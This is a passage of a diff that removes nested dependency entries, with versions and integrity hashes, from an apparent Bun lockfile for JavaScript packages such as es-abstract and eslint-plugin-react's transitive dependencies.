- "which-builtin-type/call-bind/get-intrinsic": ["get-intrinsic@1.2.4", "", { "dependencies": { "es-errors": "^1.3.0", "function-bind": "^1.1.2", "has-proto": "^1.0.1", "has-symbols": "^1.0.3", "hasown": "^2.0.0" } }, "sha512-5uYhsJH8VJBTv7oslg4BznJYhDoRI6waYCxMmCdnTrcCrHA/fCFKoTFz2JKKE0HdDFUF7/oQuhzumXJK7paBRQ=="],
-
- "which-builtin-type/function.prototype.name/es-abstract": ["es-abstract@1.23.5", "", { "dependencies": { "array-buffer-byte-length": "^1.0.1", "arraybuffer.prototype.slice": "^1.0.3", "available-typed-arrays": "^1.0.7", "call-bind": "^1.0.7", "data-view-buffer": "^1.0.1", "data-view-byte-length": "^1.0.1", "data-view-byte-offset": "^1.0.0", "es-define-property": "^1.0.0", "es-errors": "^1.3.0", "es-object-atoms": "^1.0.0", "es-set-tostringtag": "^2.0.3", "es-to-primitive": "^1.2.1", "function.prototype.name": "^1.1.6", "get-intrinsic": "^1.2.4", "get-symbol-description": "^1.0.2", "globalthis": "^1.0.4", "gopd": "^1.0.1", "has-property-descriptors": "^1.0.2", "has-proto": "^1.0.3", "has-symbols": "^1.0.3", "hasown": "^2.0.2", "internal-slot": "^1.0.7", "is-array-buffer": "^3.0.4", "is-callable": "^1.2.7", "is-data-view": "^1.0.1", "is-negative-zero": "^2.0.3", "is-regex": "^1.1.4", "is-shared-array-buffer": "^1.0.3", "is-string": "^1.0.7", "is-typed-array": "^1.1.13", "is-weakref": "^1.0.2", "object-inspect": "^1.13.3", "object-keys": "^1.1.1", "object.assign": "^4.1.5", "regexp.prototype.flags": "^1.5.3", "safe-array-concat": "^1.1.2", "safe-regex-test": "^1.0.3", "string.prototype.trim": "^1.2.9", "string.prototype.trimend": "^1.0.8", "string.prototype.trimstart": "^1.0.8", "typed-array-buffer": "^1.0.2", "typed-array-byte-length": "^1.0.1", "typed-array-byte-offset": "^1.0.2", "typed-array-length": "^1.0.6", "unbox-primitive": "^1.0.2", "which-typed-array": "^1.1.15" } }, "sha512-vlmniQ0WNPwXqA0BnmwV3Ng7HxiGlh6r5U6JcTMNx8OilcAGqVJBHJcPjqOMaczU9fRuRK5Px2BdVyPRnKMMVQ=="],
-
- "which-builtin-type/which-boxed-primitive/is-bigint": ["is-bigint@1.0.4", "", { "dependencies": { "has-bigints": "^1.0.1" } }, "sha512-zB9CruMamjym81i2JZ3UMn54PKGsQzsJeo6xvN3HJJ4CAsQNB6iRutp2To77OfCNuoxspsIhzaPoO1zyCEhFOg=="],
-
- "which-builtin-type/which-boxed-primitive/is-boolean-object": ["is-boolean-object@1.1.2", "", { "dependencies": { "call-bind": "^1.0.2", "has-tostringtag": "^1.0.0" } }, "sha512-gDYaKHJmnj4aWxyj6YHyXVpdQawtVLHU5cb+eztPGczf6cjuTdwve5ZIEfgXqH4e57An1D1AKf8CZ3kYrQRqYA=="],
-
- "which-builtin-type/which-boxed-primitive/is-number-object": ["is-number-object@1.0.7", "", { "dependencies": { "has-tostringtag": "^1.0.0" } }, "sha512-k1U0IRzLMo7ZlYIfzRu23Oh6MiIFasgpb9X76eqfFZAqwH44UI4KTBvBYIZ1dSL9ZzChTB9ShHfLkR4pdW5krQ=="],
-
- "which-builtin-type/which-boxed-primitive/is-string": ["is-string@1.0.7", "", { "dependencies": { "has-tostringtag": "^1.0.0" } }, "sha512-tE2UXzivje6ofPW7l23cjDOMa09gb7xlAqG6jG5ej6uPV32TlWP3NKPigtaGeHNu9fohccRYvIiZMfOOnOYUtg=="],
-
- "which-builtin-type/which-typed-array/for-each": ["for-each@0.3.3", "", { "dependencies": { "is-callable": "^1.1.3" } }, "sha512-jqYfLp7mo9vIyQf8ykW2v7A+2N4QjeCeI5+Dz9XraiO1ign81wjiH7Fb9vSOWvQfNtmSa4H2RoQTrrXivdUZmw=="],
-
- "array.prototype.findlast/es-abstract/typed-array-byte-length/for-each": ["for-each@0.3.3", "", { "dependencies": { "is-callable": "^1.1.3" } }, "sha512-jqYfLp7mo9vIyQf8ykW2v7A+2N4QjeCeI5+Dz9XraiO1ign81wjiH7Fb9vSOWvQfNtmSa4H2RoQTrrXivdUZmw=="],
-
- "array.prototype.findlast/es-abstract/typed-array-byte-offset/for-each": ["for-each@0.3.3", "", { "dependencies": { "is-callable": "^1.1.3" } }, "sha512-jqYfLp7mo9vIyQf8ykW2v7A+2N4QjeCeI5+Dz9XraiO1ign81wjiH7Fb9vSOWvQfNtmSa4H2RoQTrrXivdUZmw=="],
-
- "array.prototype.findlast/es-abstract/unbox-primitive/which-boxed-primitive": ["which-boxed-primitive@1.0.2", "", { "dependencies": { "is-bigint": "^1.0.1", "is-boolean-object": "^1.1.0", "is-number-object": "^1.0.4", "is-string": "^1.0.5", "is-symbol": "^1.0.3" } }, "sha512-bwZdv0AKLpplFY2KZRX6TvyuN7ojjr7lwkg6ml0roIy9YeuSr7JS372qlNW18UQYzgYK9ziGcerWqZOmEn9VNg=="],
-
- "array.prototype.findlast/es-abstract/which-typed-array/for-each": ["for-each@0.3.3", "", { "dependencies": { "is-callable": "^1.1.3" } }, "sha512-jqYfLp7mo9vIyQf8ykW2v7A+2N4QjeCeI5+Dz9XraiO1ign81wjiH7Fb9vSOWvQfNtmSa4H2RoQTrrXivdUZmw=="],
-
- "array.prototype.tosorted/es-abstract/typed-array-byte-length/for-each": ["for-each@0.3.3", "", { "dependencies": { "is-callable": "^1.1.3" } }, "sha512-jqYfLp7mo9vIyQf8ykW2v7A+2N4QjeCeI5+Dz9XraiO1ign81wjiH7Fb9vSOWvQfNtmSa4H2RoQTrrXivdUZmw=="],
-
- "array.prototype.tosorted/es-abstract/typed-array-byte-offset/for-each": ["for-each@0.3.3", "", { "dependencies": { "is-callable": "^1.1.3" } }, "sha512-jqYfLp7mo9vIyQf8ykW2v7A+2N4QjeCeI5+Dz9XraiO1ign81wjiH7Fb9vSOWvQfNtmSa4H2RoQTrrXivdUZmw=="],
-
- "array.prototype.tosorted/es-abstract/unbox-primitive/which-boxed-primitive": ["which-boxed-primitive@1.0.2", "", { "dependencies": { "is-bigint": "^1.0.1", "is-boolean-object": "^1.1.0", "is-number-object": "^1.0.4", "is-string": "^1.0.5", "is-symbol": "^1.0.3" } }, "sha512-bwZdv0AKLpplFY2KZRX6TvyuN7ojjr7lwkg6ml0roIy9YeuSr7JS372qlNW18UQYzgYK9ziGcerWqZOmEn9VNg=="],
-
- "array.prototype.tosorted/es-abstract/which-typed-array/for-each": ["for-each@0.3.3", "", { "dependencies": { "is-callable": "^1.1.3" } }, "sha512-jqYfLp7mo9vIyQf8ykW2v7A+2N4QjeCeI5+Dz9XraiO1ign81wjiH7Fb9vSOWvQfNtmSa4H2RoQTrrXivdUZmw=="],
-
- "es-iterator-helpers/es-abstract/typed-array-byte-length/for-each": ["for-each@0.3.3", "", { "dependencies": { "is-callable": "^1.1.3" } }, "sha512-jqYfLp7mo9vIyQf8ykW2v7A+2N4QjeCeI5+Dz9XraiO1ign81wjiH7Fb9vSOWvQfNtmSa4H2RoQTrrXivdUZmw=="],
-
- "es-iterator-helpers/es-abstract/typed-array-byte-offset/for-each": ["for-each@0.3.3", "", { "dependencies": { "is-callable": "^1.1.3" } }, "sha512-jqYfLp7mo9vIyQf8ykW2v7A+2N4QjeCeI5+Dz9XraiO1ign81wjiH7Fb9vSOWvQfNtmSa4H2RoQTrrXivdUZmw=="],
-
- "es-iterator-helpers/es-abstract/unbox-primitive/which-boxed-primitive": ["which-boxed-primitive@1.0.2", "", { "dependencies": { "is-bigint": "^1.0.1", "is-boolean-object": "^1.1.0", "is-number-object": "^1.0.4", "is-string": "^1.0.5", "is-symbol": "^1.0.3" } }, "sha512-bwZdv0AKLpplFY2KZRX6TvyuN7ojjr7lwkg6ml0roIy9YeuSr7JS372qlNW18UQYzgYK9ziGcerWqZOmEn9VNg=="],
-
- "es-iterator-helpers/es-abstract/which-typed-array/for-each": ["for-each@0.3.3", "", { "dependencies": { "is-callable": "^1.1.3" } }, "sha512-jqYfLp7mo9vIyQf8ykW2v7A+2N4QjeCeI5+Dz9XraiO1ign81wjiH7Fb9vSOWvQfNtmSa4H2RoQTrrXivdUZmw=="],
-
- "eslint-plugin-jsx-a11y/array-includes/call-bind/es-define-property": ["es-define-property@1.0.0", "", { "dependencies": { "get-intrinsic": "^1.2.4" } }, "sha512-jxayLKShrEqqzJ0eumQbVhTYQM27CfT1T35+gCgDFoL82JLsXqTJ76zv6A0YLOgEnLUMvLzsDsGIrl8NFpT2gQ=="],
-
- "eslint-plugin-jsx-a11y/array-includes/es-abstract/array-buffer-byte-length": ["array-buffer-byte-length@1.0.1", "", { "dependencies": { "call-bind": "^1.0.5", "is-array-buffer": "^3.0.4" } }, "sha512-ahC5W1xgou+KTXix4sAO8Ki12Q+jf4i0+tmk3sC+zgcynshkHxzpXdImBehiUYKKKDwvfFiJl1tZt6ewscS1Mg=="],
-
- "eslint-plugin-jsx-a11y/array-includes/es-abstract/arraybuffer.prototype.slice": ["arraybuffer.prototype.slice@1.0.3", "", { "dependencies": { "array-buffer-byte-length": "^1.0.1", "call-bind": "^1.0.5", "define-properties": "^1.2.1", "es-abstract": "^1.22.3", "es-errors": "^1.2.1", "get-intrinsic": "^1.2.3", "is-array-buffer": "^3.0.4", "is-shared-array-buffer": "^1.0.2" } }, "sha512-bMxMKAjg13EBSVscxTaYA4mRc5t1UAXa2kXiGTNfZ079HIWXEkKmkgFrh/nJqamaLSrXO5H4WFFkPEaLJWbs3A=="],
-
- "eslint-plugin-jsx-a11y/array-includes/es-abstract/data-view-buffer": ["data-view-buffer@1.0.1", "", { "dependencies": { "call-bind": "^1.0.6", "es-errors": "^1.3.0", "is-data-view": "^1.0.1" } }, "sha512-0lht7OugA5x3iJLOWFhWK/5ehONdprk0ISXqVFn/NFrDu+cuc8iADFrGQz5BnRK7LLU3JmkbXSxaqX+/mXYtUA=="],
-
- "eslint-plugin-jsx-a11y/array-includes/es-abstract/data-view-byte-length": ["data-view-byte-length@1.0.1", "", { "dependencies": { "call-bind": "^1.0.7", "es-errors": "^1.3.0", "is-data-view": "^1.0.1" } }, "sha512-4J7wRJD3ABAzr8wP+OcIcqq2dlUKp4DVflx++hs5h5ZKydWMI6/D/fAot+yh6g2tHh8fLFTvNOaVN357NvSrOQ=="],
-
- "eslint-plugin-jsx-a11y/array-includes/es-abstract/data-view-byte-offset": ["data-view-byte-offset@1.0.0", "", { "dependencies": { "call-bind": "^1.0.6", "es-errors": "^1.3.0", "is-data-view": "^1.0.1" } }, "sha512-t/Ygsytq+R995EJ5PZlD4Cu56sWa8InXySaViRzw9apusqsOO2bQP+SbYzAhR0pFKoB+43lYy8rWban9JSuXnA=="],
-
- "eslint-plugin-jsx-a11y/array-includes/es-abstract/es-define-property": ["es-define-property@1.0.0", "", { "dependencies": { "get-intrinsic": "^1.2.4" } }, "sha512-jxayLKShrEqqzJ0eumQbVhTYQM27CfT1T35+gCgDFoL82JLsXqTJ76zv6A0YLOgEnLUMvLzsDsGIrl8NFpT2gQ=="],
-
- "eslint-plugin-jsx-a11y/array-includes/es-abstract/es-to-primitive": ["es-to-primitive@1.2.1", "", { "dependencies": { "is-callable": "^1.1.4", "is-date-object": "^1.0.1", "is-symbol": "^1.0.2" } }, "sha512-QCOllgZJtaUo9miYBcLChTUaHNjJF3PYs1VidD7AwiEj1kYxKeQTctLAezAOH5ZKRH0g2IgPn6KwB4IT8iRpvA=="],
-
- "eslint-plugin-jsx-a11y/array-includes/es-abstract/function.prototype.name": ["function.prototype.name@1.1.6", "", { "dependencies": { "call-bind": "^1.0.2", "define-properties": "^1.2.0", "es-abstract": "^1.22.1", "functions-have-names": "^1.2.3" } }, "sha512-Z5kx79swU5P27WEayXM1tBi5Ze/lbIyiNgU3qyXUOf9b2rgXYyF9Dy9Cx+IQv/Lc8WCG6L82zwUPpSS9hGehIg=="],
-
- "eslint-plugin-jsx-a11y/array-includes/es-abstract/get-symbol-description": ["get-symbol-description@1.0.2", "", { "dependencies": { "call-bind": "^1.0.5", "es-errors": "^1.3.0", "get-intrinsic": "^1.2.4" } }, "sha512-g0QYk1dZBxGwk+Ngc+ltRH2IBp2f7zBkBMBJZCDerh6EhlhSR6+9irMCuT/09zD6qkarHUSn529sK/yL4S27mg=="],
-
- "eslint-plugin-jsx-a11y/array-includes/es-abstract/is-array-buffer": ["is-array-buffer@3.0.4", "", { "dependencies": { "call-bind": "^1.0.2", "get-intrinsic": "^1.2.1" } }, "sha512-wcjaerHw0ydZwfhiKbXJWLDY8A7yV7KhjQOpb83hGgGfId/aQa4TOvwyzn2PuswW2gPCYEL/nEAiSVpdOj1lXw=="],
-
- "eslint-plugin-jsx-a11y/array-includes/es-abstract/is-data-view": ["is-data-view@1.0.1", "", { "dependencies": { "is-typed-array": "^1.1.13" } }, "sha512-AHkaJrsUVW6wq6JS8y3JnM/GJF/9cf+k20+iDzlSaJrinEo5+7vRiteOSwBhHRiAyQATN1AmY4hwzxJKPmYf+w=="],
-
- "eslint-plugin-jsx-a11y/array-includes/es-abstract/is-shared-array-buffer": ["is-shared-array-buffer@1.0.3", "", { "dependencies": { "call-bind": "^1.0.7" } }, "sha512-nA2hv5XIhLR3uVzDDfCIknerhx8XUKnstuOERPNNIinXG7v9u+ohXF67vxm4TPTEPU6lm61ZkwP3c9PCB97rhg=="],
-
- "eslint-plugin-jsx-a11y/array-includes/es-abstract/is-typed-array": ["is-typed-array@1.1.13", "", { "dependencies": { "which-typed-array": "^1.1.14" } }, "sha512-uZ25/bUAlUY5fR4OKT4rZQEBrzQWYV9ZJYGGsUmEJ6thodVJ1HX64ePQ6Z0qPWP+m+Uq6e9UugrE38jeYsDSMw=="],
-
- "eslint-plugin-jsx-a11y/array-includes/es-abstract/is-weakref": ["is-weakref@1.0.2", "", { "dependencies": { "call-bind": "^1.0.2" } }, "sha512-qctsuLZmIQ0+vSSMfoVvyFe2+GSEvnmZ2ezTup1SBse9+twCCeial6EEi3Nc2KFcf6+qz2FBPnjXsk8xhKSaPQ=="],
-
- "eslint-plugin-jsx-a11y/array-includes/es-abstract/object-inspect": ["object-inspect@1.13.3", "", {}, "sha512-kDCGIbxkDSXE3euJZZXzc6to7fCrKHNI/hSRQnRuQ+BWjFNzZwiFF8fj/6o2t2G9/jTj8PSIYTfCLelLZEeRpA=="],
-
- "eslint-plugin-jsx-a11y/array-includes/es-abstract/string.prototype.trim": ["string.prototype.trim@1.2.9", "", { "dependencies": { "call-bind": "^1.0.7", "define-properties": "^1.2.1", "es-abstract": "^1.23.0", "es-object-atoms": "^1.0.0" } }, "sha512-klHuCNxiMZ8MlsOihJhJEBJAiMVqU3Z2nEXWfWnIqjN0gEFS9J9+IxKozWWtQGcgoa1WUZzLjKPTr4ZHNFTFxw=="],
-
- "eslint-plugin-jsx-a11y/array-includes/es-abstract/string.prototype.trimend": ["string.prototype.trimend@1.0.8", "", { "dependencies": { "call-bind": "^1.0.7", "define-properties": "^1.2.1", "es-object-atoms": "^1.0.0" } }, "sha512-p73uL5VCHCO2BZZ6krwwQE3kCzM7NKmis8S//xEC6fQonchbum4eP6kR4DLEjQFO3Wnj3Fuo8NM0kOSjVdHjZQ=="],
-
- "eslint-plugin-jsx-a11y/array-includes/es-abstract/typed-array-buffer": ["typed-array-buffer@1.0.2", "", { "dependencies": { "call-bind": "^1.0.7", "es-errors": "^1.3.0", "is-typed-array": "^1.1.13" } }, "sha512-gEymJYKZtKXzzBzM4jqa9w6Q1Jjm7x2d+sh19AdsD4wqnMPDYyvwpsIc2Q/835kHuo3BEQ7CjelGhfTsoBb2MQ=="],
-
- "eslint-plugin-jsx-a11y/array-includes/es-abstract/typed-array-byte-length": ["typed-array-byte-length@1.0.1", "", { "dependencies": { "call-bind": "^1.0.7", "for-each": "^0.3.3", "gopd": "^1.0.1", "has-proto": "^1.0.3", "is-typed-array": "^1.1.13" } }, "sha512-3iMJ9q0ao7WE9tWcaYKIptkNBuOIcZCCT0d4MRvuuH88fEoEH62IuQe0OtraD3ebQEoTRk8XCBoknUNc1Y67pw=="],
-
- "eslint-plugin-jsx-a11y/array-includes/es-abstract/typed-array-byte-offset": ["typed-array-byte-offset@1.0.3", "", { "dependencies": { "available-typed-arrays": "^1.0.7", "call-bind": "^1.0.7", "for-each": "^0.3.3", "gopd": "^1.0.1", "has-proto": "^1.0.3", "is-typed-array": "^1.1.13", "reflect.getprototypeof": "^1.0.6" } }, "sha512-GsvTyUHTriq6o/bHcTd0vM7OQ9JEdlvluu9YISaA7+KzDzPaIzEeDFNkTfhdE3MYcNhNi0vq/LlegYgIs5yPAw=="],
-
- "eslint-plugin-jsx-a11y/array-includes/es-abstract/unbox-primitive": ["unbox-primitive@1.0.2", "", { "dependencies": { "call-bind": "^1.0.2", "has-bigints": "^1.0.2", "has-symbols": "^1.0.3", "which-boxed-primitive": "^1.0.2" } }, "sha512-61pPlCD9h51VoreyJ0BReideM3MDKMKnh6+V9L08331ipq6Q8OFXZYiqP6n/tbHx4s5I9uRhcye6BrbkizkBDw=="],
-
- "eslint-plugin-jsx-a11y/array-includes/es-abstract/which-typed-array": ["which-typed-array@1.1.15", "", { "dependencies": { "available-typed-arrays": "^1.0.7", "call-bind": "^1.0.7", "for-each": "^0.3.3", "gopd": "^1.0.1", "has-tostringtag": "^1.0.2" } }, "sha512-oV0jmFtUky6CXfkqehVvBP/LSWJ2sy4vWMioiENyJLePrBO/yKyV9OyJySfAKosh+RYkIl5zJCNZ8/4JncrpdA=="],
-
- "eslint-plugin-jsx-a11y/array.prototype.flatmap/call-bind/es-define-property": ["es-define-property@1.0.0", "", { "dependencies": { "get-intrinsic": "^1.2.4" } }, "sha512-jxayLKShrEqqzJ0eumQbVhTYQM27CfT1T35+gCgDFoL82JLsXqTJ76zv6A0YLOgEnLUMvLzsDsGIrl8NFpT2gQ=="],
-
- "eslint-plugin-jsx-a11y/array.prototype.flatmap/call-bind/get-intrinsic": ["get-intrinsic@1.2.4", "", { "dependencies": { "es-errors": "^1.3.0", "function-bind": "^1.1.2", "has-proto": "^1.0.1", "has-symbols": "^1.0.3", "hasown": "^2.0.0" } }, "sha512-5uYhsJH8VJBTv7oslg4BznJYhDoRI6waYCxMmCdnTrcCrHA/fCFKoTFz2JKKE0HdDFUF7/oQuhzumXJK7paBRQ=="],
-
- "eslint-plugin-jsx-a11y/array.prototype.flatmap/es-abstract/array-buffer-byte-length": ["array-buffer-byte-length@1.0.1", "", { "dependencies": { "call-bind": "^1.0.5", "is-array-buffer": "^3.0.4" } }, "sha512-ahC5W1xgou+KTXix4sAO8Ki12Q+jf4i0+tmk3sC+zgcynshkHxzpXdImBehiUYKKKDwvfFiJl1tZt6ewscS1Mg=="],
-
- "eslint-plugin-jsx-a11y/array.prototype.flatmap/es-abstract/arraybuffer.prototype.slice": ["arraybuffer.prototype.slice@1.0.3", "", { "dependencies": { "array-buffer-byte-length": "^1.0.1", "call-bind": "^1.0.5", "define-properties": "^1.2.1", "es-abstract": "^1.22.3", "es-errors": "^1.2.1", "get-intrinsic": "^1.2.3", "is-array-buffer": "^3.0.4", "is-shared-array-buffer": "^1.0.2" } }, "sha512-bMxMKAjg13EBSVscxTaYA4mRc5t1UAXa2kXiGTNfZ079HIWXEkKmkgFrh/nJqamaLSrXO5H4WFFkPEaLJWbs3A=="],
-
- "eslint-plugin-jsx-a11y/array.prototype.flatmap/es-abstract/data-view-buffer": ["data-view-buffer@1.0.1", "", { "dependencies": { "call-bind": "^1.0.6", "es-errors": "^1.3.0", "is-data-view": "^1.0.1" } }, "sha512-0lht7OugA5x3iJLOWFhWK/5ehONdprk0ISXqVFn/NFrDu+cuc8iADFrGQz5BnRK7LLU3JmkbXSxaqX+/mXYtUA=="],
-
- "eslint-plugin-jsx-a11y/array.prototype.flatmap/es-abstract/data-view-byte-length": ["data-view-byte-length@1.0.1", "", { "dependencies": { "call-bind": "^1.0.7", "es-errors": "^1.3.0", "is-data-view": "^1.0.1" } }, "sha512-4J7wRJD3ABAzr8wP+OcIcqq2dlUKp4DVflx++hs5h5ZKydWMI6/D/fAot+yh6g2tHh8fLFTvNOaVN357NvSrOQ=="],
-
- "eslint-plugin-jsx-a11y/array.prototype.flatmap/es-abstract/data-view-byte-offset": ["data-view-byte-offset@1.0.0", "", { "dependencies": { "call-bind": "^1.0.6", "es-errors": "^1.3.0", "is-data-view": "^1.0.1" } }, "sha512-t/Ygsytq+R995EJ5PZlD4Cu56sWa8InXySaViRzw9apusqsOO2bQP+SbYzAhR0pFKoB+43lYy8rWban9JSuXnA=="],
-
- "eslint-plugin-jsx-a11y/array.prototype.flatmap/es-abstract/es-define-property": ["es-define-property@1.0.0", "", { "dependencies": { "get-intrinsic": "^1.2.4" } }, "sha512-jxayLKShrEqqzJ0eumQbVhTYQM27CfT1T35+gCgDFoL82JLsXqTJ76zv6A0YLOgEnLUMvLzsDsGIrl8NFpT2gQ=="],
-
- "eslint-plugin-jsx-a11y/array.prototype.flatmap/es-abstract/es-object-atoms": ["es-object-atoms@1.0.0", "", { "dependencies": { "es-errors": "^1.3.0" } }, "sha512-MZ4iQ6JwHOBQjahnjwaC1ZtIBH+2ohjamzAO3oaHcXYup7qxjF2fixyH+Q71voWHeOkI2q/TnJao/KfXYIZWbw=="],
-
- "eslint-plugin-jsx-a11y/array.prototype.flatmap/es-abstract/es-to-primitive": ["es-to-primitive@1.2.1", "", { "dependencies": { "is-callable": "^1.1.4", "is-date-object": "^1.0.1", "is-symbol": "^1.0.2" } }, "sha512-QCOllgZJtaUo9miYBcLChTUaHNjJF3PYs1VidD7AwiEj1kYxKeQTctLAezAOH5ZKRH0g2IgPn6KwB4IT8iRpvA=="],
-
- "eslint-plugin-jsx-a11y/array.prototype.flatmap/es-abstract/function.prototype.name": ["function.prototype.name@1.1.6", "", { "dependencies": { "call-bind": "^1.0.2", "define-properties": "^1.2.0", "es-abstract": "^1.22.1", "functions-have-names": "^1.2.3" } }, "sha512-Z5kx79swU5P27WEayXM1tBi5Ze/lbIyiNgU3qyXUOf9b2rgXYyF9Dy9Cx+IQv/Lc8WCG6L82zwUPpSS9hGehIg=="],
-
- "eslint-plugin-jsx-a11y/array.prototype.flatmap/es-abstract/get-intrinsic": ["get-intrinsic@1.2.4", "", { "dependencies": { "es-errors": "^1.3.0", "function-bind": "^1.1.2", "has-proto": "^1.0.1", "has-symbols": "^1.0.3", "hasown": "^2.0.0" } }, "sha512-5uYhsJH8VJBTv7oslg4BznJYhDoRI6waYCxMmCdnTrcCrHA/fCFKoTFz2JKKE0HdDFUF7/oQuhzumXJK7paBRQ=="],
-
- "eslint-plugin-jsx-a11y/array.prototype.flatmap/es-abstract/get-symbol-description": ["get-symbol-description@1.0.2", "", { "dependencies": { "call-bind": "^1.0.5", "es-errors": "^1.3.0", "get-intrinsic": "^1.2.4" } }, "sha512-g0QYk1dZBxGwk+Ngc+ltRH2IBp2f7zBkBMBJZCDerh6EhlhSR6+9irMCuT/09zD6qkarHUSn529sK/yL4S27mg=="],
-
- "eslint-plugin-jsx-a11y/array.prototype.flatmap/es-abstract/is-array-buffer": ["is-array-buffer@3.0.4", "", { "dependencies": { "call-bind": "^1.0.2", "get-intrinsic": "^1.2.1" } }, "sha512-wcjaerHw0ydZwfhiKbXJWLDY8A7yV7KhjQOpb83hGgGfId/aQa4TOvwyzn2PuswW2gPCYEL/nEAiSVpdOj1lXw=="],
-
- "eslint-plugin-jsx-a11y/array.prototype.flatmap/es-abstract/is-data-view": ["is-data-view@1.0.1", "", { "dependencies": { "is-typed-array": "^1.1.13" } }, "sha512-AHkaJrsUVW6wq6JS8y3JnM/GJF/9cf+k20+iDzlSaJrinEo5+7vRiteOSwBhHRiAyQATN1AmY4hwzxJKPmYf+w=="],
-
- "eslint-plugin-jsx-a11y/array.prototype.flatmap/es-abstract/is-shared-array-buffer": ["is-shared-array-buffer@1.0.3", "", { "dependencies": { "call-bind": "^1.0.7" } }, "sha512-nA2hv5XIhLR3uVzDDfCIknerhx8XUKnstuOERPNNIinXG7v9u+ohXF67vxm4TPTEPU6lm61ZkwP3c9PCB97rhg=="],
-
- "eslint-plugin-jsx-a11y/array.prototype.flatmap/es-abstract/is-string": ["is-string@1.0.7", "", { "dependencies": { "has-tostringtag": "^1.0.0" } }, "sha512-tE2UXzivje6ofPW7l23cjDOMa09gb7xlAqG6jG5ej6uPV32TlWP3NKPigtaGeHNu9fohccRYvIiZMfOOnOYUtg=="],
-
- "eslint-plugin-jsx-a11y/array.prototype.flatmap/es-abstract/is-typed-array": ["is-typed-array@1.1.13", "", { "dependencies": { "which-typed-array": "^1.1.14" } }, "sha512-uZ25/bUAlUY5fR4OKT4rZQEBrzQWYV9ZJYGGsUmEJ6thodVJ1HX64ePQ6Z0qPWP+m+Uq6e9UugrE38jeYsDSMw=="],
-
- "eslint-plugin-jsx-a11y/array.prototype.flatmap/es-abstract/is-weakref": ["is-weakref@1.0.2", "", { "dependencies": { "call-bind": "^1.0.2" } }, "sha512-qctsuLZmIQ0+vSSMfoVvyFe2+GSEvnmZ2ezTup1SBse9+twCCeial6EEi3Nc2KFcf6+qz2FBPnjXsk8xhKSaPQ=="],
-
- "eslint-plugin-jsx-a11y/array.prototype.flatmap/es-abstract/object-inspect": ["object-inspect@1.13.3", "", {}, "sha512-kDCGIbxkDSXE3euJZZXzc6to7fCrKHNI/hSRQnRuQ+BWjFNzZwiFF8fj/6o2t2G9/jTj8PSIYTfCLelLZEeRpA=="],
-
- "eslint-plugin-jsx-a11y/array.prototype.flatmap/es-abstract/string.prototype.trim": ["string.prototype.trim@1.2.9", "", { "dependencies": { "call-bind": "^1.0.7", "define-properties": "^1.2.1", "es-abstract": "^1.23.0", "es-object-atoms": "^1.0.0" } }, "sha512-klHuCNxiMZ8MlsOihJhJEBJAiMVqU3Z2nEXWfWnIqjN0gEFS9J9+IxKozWWtQGcgoa1WUZzLjKPTr4ZHNFTFxw=="],
-
- "eslint-plugin-jsx-a11y/array.prototype.flatmap/es-abstract/string.prototype.trimend": ["string.prototype.trimend@1.0.8", "", { "dependencies": { "call-bind": "^1.0.7", "define-properties": "^1.2.1", "es-object-atoms": "^1.0.0" } }, "sha512-p73uL5VCHCO2BZZ6krwwQE3kCzM7NKmis8S//xEC6fQonchbum4eP6kR4DLEjQFO3Wnj3Fuo8NM0kOSjVdHjZQ=="],
-
- "eslint-plugin-jsx-a11y/array.prototype.flatmap/es-abstract/typed-array-buffer": ["typed-array-buffer@1.0.2", "", { "dependencies": { "call-bind": "^1.0.7", "es-errors": "^1.3.0", "is-typed-array": "^1.1.13" } }, "sha512-gEymJYKZtKXzzBzM4jqa9w6Q1Jjm7x2d+sh19AdsD4wqnMPDYyvwpsIc2Q/835kHuo3BEQ7CjelGhfTsoBb2MQ=="],
-
- "eslint-plugin-jsx-a11y/array.prototype.flatmap/es-abstract/typed-array-byte-length": ["typed-array-byte-length@1.0.1", "", { "dependencies": { "call-bind": "^1.0.7", "for-each": "^0.3.3", "gopd": "^1.0.1", "has-proto": "^1.0.3", "is-typed-array": "^1.1.13" } }, "sha512-3iMJ9q0ao7WE9tWcaYKIptkNBuOIcZCCT0d4MRvuuH88fEoEH62IuQe0OtraD3ebQEoTRk8XCBoknUNc1Y67pw=="],
-
- "eslint-plugin-jsx-a11y/array.prototype.flatmap/es-abstract/typed-array-byte-offset": ["typed-array-byte-offset@1.0.3", "", { "dependencies": { "available-typed-arrays": "^1.0.7", "call-bind": "^1.0.7", "for-each": "^0.3.3", "gopd": "^1.0.1", "has-proto": "^1.0.3", "is-typed-array": "^1.1.13", "reflect.getprototypeof": "^1.0.6" } }, "sha512-GsvTyUHTriq6o/bHcTd0vM7OQ9JEdlvluu9YISaA7+KzDzPaIzEeDFNkTfhdE3MYcNhNi0vq/LlegYgIs5yPAw=="],
-
- "eslint-plugin-jsx-a11y/array.prototype.flatmap/es-abstract/unbox-primitive": ["unbox-primitive@1.0.2", "", { "dependencies": { "call-bind": "^1.0.2", "has-bigints": "^1.0.2", "has-symbols": "^1.0.3", "which-boxed-primitive": "^1.0.2" } }, "sha512-61pPlCD9h51VoreyJ0BReideM3MDKMKnh6+V9L08331ipq6Q8OFXZYiqP6n/tbHx4s5I9uRhcye6BrbkizkBDw=="],
-
- "eslint-plugin-jsx-a11y/array.prototype.flatmap/es-abstract/which-typed-array": ["which-typed-array@1.1.15", "", { "dependencies": { "available-typed-arrays": "^1.0.7", "call-bind": "^1.0.7", "for-each": "^0.3.3", "gopd": "^1.0.1", "has-tostringtag": "^1.0.2" } }, "sha512-oV0jmFtUky6CXfkqehVvBP/LSWJ2sy4vWMioiENyJLePrBO/yKyV9OyJySfAKosh+RYkIl5zJCNZ8/4JncrpdA=="],
-
- "eslint-plugin-react/array-includes/call-bind/es-define-property": ["es-define-property@1.0.0", "", { "dependencies": { "get-intrinsic": "^1.2.4" } }, "sha512-jxayLKShrEqqzJ0eumQbVhTYQM27CfT1T35+gCgDFoL82JLsXqTJ76zv6A0YLOgEnLUMvLzsDsGIrl8NFpT2gQ=="],
-
- "eslint-plugin-react/array-includes/es-abstract/array-buffer-byte-length": ["array-buffer-byte-length@1.0.1", "", { "dependencies": { "call-bind": "^1.0.5", "is-array-buffer": "^3.0.4" } }, "sha512-ahC5W1xgou+KTXix4sAO8Ki12Q+jf4i0+tmk3sC+zgcynshkHxzpXdImBehiUYKKKDwvfFiJl1tZt6ewscS1Mg=="],
-
